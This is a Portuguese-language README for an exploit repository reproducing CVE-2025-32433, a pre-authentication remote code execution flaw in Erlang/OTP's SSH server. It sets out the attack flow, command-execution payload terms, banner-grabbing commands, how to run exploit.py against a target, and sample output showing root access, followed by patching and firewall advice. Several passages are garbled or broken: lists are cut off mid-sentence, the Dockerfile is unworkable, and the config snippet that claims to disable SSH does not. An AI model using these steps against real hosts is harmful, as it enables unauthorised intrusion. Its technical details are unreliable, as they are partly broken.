
Reprodução de cve-2025-32433-erlang_ssh_rce_reproduction
Pontuação CVSS: 10.0 (CRÍTICA)
Status: Explorada Ativamente na Natureza
Divulgação: Junho de 2025
A CVE-2025-32433 é uma vulnerabilidade crítica de execução remota de código não autenticada na implementação do servidor SSH (aplicação ssh) distribuída com o Erlang/OTP. A falha reside na lógica de tratamento da conexão SSH antes da conclusão da autenticação, o que significa que nenhuma credencial válida é necessária para acionar a exploração. Um atacante que consiga alcançar uma porta SSH Erlang vulnerável (normalmente a 22, ou portas personalizadas usadas por RabbitMQ, Riak, CouchDB, etc.) pode executar comandos de shell arbitrários no sistema alvo.
A vulnerabilidade foi descoberta pelo pesquisador de segurança Felix "xcz" Lange e reportada por meio do processo de divulgação de segurança do OTP. O código PoC público surgiu dentro de 72 horas após o aviso, e vários atores de ameaças foram observados varrendo banners SSH vulneráveis (SSH-2.0-Erlang/OTP-*) imediatamente após a divulgação.
A vulnerabilidade existe na implementação SSH do Erlang, localizada na aplicação ssh do OTP. Especificamente, o bug está na forma como o daemon SSH lida com mensagens de início de troca de chaves antes da fase de autenticação.
Os módulos ssh_bind.erl e ssh_connection_handler.erl não conseguem validar corretamente a transição da máquina de estados ao processar certas mensagens do protocolo SSH fora de ordem ou malformadas. Ao enviar um pacote SSH_MSG_KEXINIT forjado ou uma mensagem de solicitação de serviço especialmente construída durante a fase de troca de chaves, um atacante pode fazer com que a VM Erlang:
Isso é fundamentalmente uma vulnerabilidade de desserialização insegura de termos Erlang combinada com um desvio da máquina de estados. A função binary_to_term/1 do Erlang é usada em entrada controlada pelo atacante sem o modo safe habilitado, permitindo a instanciação de átomos arbitrários e a chamada de qualquer processo registrado.
Attacker Vulnerable Erlang SSH Server
│ │
│──── TCP Connect (port 22) ──────────→│
│ │
│←── SSH-2.0-Erlang/OTP-26.x banner ──│
│ │
│──── SSH_MSG_KEXINIT (crafted) ──────→│
│ │
│──── [malformed service request] ────→│ ← State machine confused
│ │
│──── [binary_to_term payload] ───────→│ ← Unsafe deserialization
│ │
│←── Remote shell / cmd execution ────│
O ponto-chave é que o manipulador da conexão SSH entra em um estado inesperado no qual invoca binary_to_term nos dados recebidos antes de o handshake de segurança ser concluído. Ao incorporar um termo Erlang malicioso que codifica um payload de execução de comandos (por exemplo, usando erlang:open_port/2 com spawn), o atacante obtém execução de código com os privilégios do processo da VM Erlang.
Um payload típico usa o formato de termo externo do Erlang para codificar:
{run, "cmd.exe /c <command>"}
-- or --
{spawn, "<command>"}
Esses termos, quando decodificados por binary_to_term/1, interagem com a máquina de estados da conexão SSH para executar comandos do sistema.
| Produto | Versões Afetadas | Versões Corrigidas |
|---|---|---|
| Erlang/OTP | < 27.3.2, < 26.2.6, < 25.3.3 | 27.3.2+, 26.2.6+, 25.3.3+ |
| Elixir (via Erlang) | Todas as versões que executam OTP vulnerável | Recompilado com OTP corrigido |
| RabbitMQ | < 3.12.14, < 3.13.7 (em OTP vulnerável) | 3.12.14+, 3.13.7+ com OTP corrigido |
| Riak KV/TS | < KV 2.9.6, < TS 1.5.5 (em OTP vulnerável) | Pacotes atualizados com OTP corrigido |
| CouchDB | < 3.3.3 (ao usar o SSH do Erlang) | 3.3.3+ ou desative o SSH |
| Ejabberd | < 24.06 (em OTP vulnerável) | 24.06+ com OTP corrigido |
Uma captura de banner geralmente é suficiente:
# A vulnerable service responds with:
SSH-2.0-Erlang/OTP-26.1
SSH-2.0-Erlang/OTP-25.2
SSH-2.0-Erlang/OTP-27.0
# A patched service responds with:
SSH-2.0-Erlang/OTP-26.2.6
SSH-2.0-Erlang/OTP-27.3.2
Qualquer versão do Erlang/OTP abaixo dos números corrigidos acima é vulnerável.
paramiko ou socket bruto (o PoC usa sockets brutos)# Build a vulnerable Erlang container
FROM erlang:26.1-alpine
RUN echo "root:toor" | chpasswd && \
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
CMD ["erlexec", "ssh:daemon(8222)"]
Ou use um serviço vulnerável já existente em sua rede.
Identifique um alvo vulnerável por meio da captura de banner:
nc -w 3 <target> 22
# Look for: SSH-2.0-Erlang/OTP-
Execute o exploit PoC:
python exploit.py --target 192.168.1.100 --port 22 --command "whoami"
Verifique a execução:
[+] CVE-2025-32433 Erlang/OTP SSH Pre-Auth RCE
[+] Target: 192.168.1.100:22
[+] Banner: SSH-2.0-Erlang/OTP-26.1
[+] Triggering vulnerability...
[+] Payload sent.
[+] Response: root
[!] Exploit succeeded
O exploit.py fornecido implementa um PoC funcional que:
O exploit utiliza três componentes-chave:
ssh_bind.erl e ssh_transport.erlCorrija o Erlang/OTP (prioridade máxima):
# On Debian/Ubuntu
sudo apt-get update && sudo apt-get install erlang-base=1:27.3.2-1
# On RHEL/CentOS
sudo yum update erlang
# Source build
wget https://github.com/erlang/otp/releases/download/OTP-27.3.2/otp_src_27.3.2.tar.gz
tar xzf otp_src_27.3.2.tar.gz
cd otp_src_27.3.2
./configure && make && sudo make install
Restrinja o acesso SSH (solução temporária):
# Firewall rules to limit SSH source IPs
iptables -A INPUT -p tcp --dport 22 -s <trusted_networks> -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
Desative o SSH do Erlang se não for utilizado:
% In sys.config
{kernel, [{distributed, []}]}
% Or stop the Erlang SSH application
application:stop(ssh).
Procure por padrões anômalos de handshake SSH:
131, 104, etc.)epmd, beam.smp)Estas informações são fornecidas apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido.
Estrutura do repositório:
cve-2025-32433-erlang_ssh_rce_reproduction/
├── README.md # This file
├── exploit.py # Python PoC exploit
└── LICENSE # MIT (for PoC code only)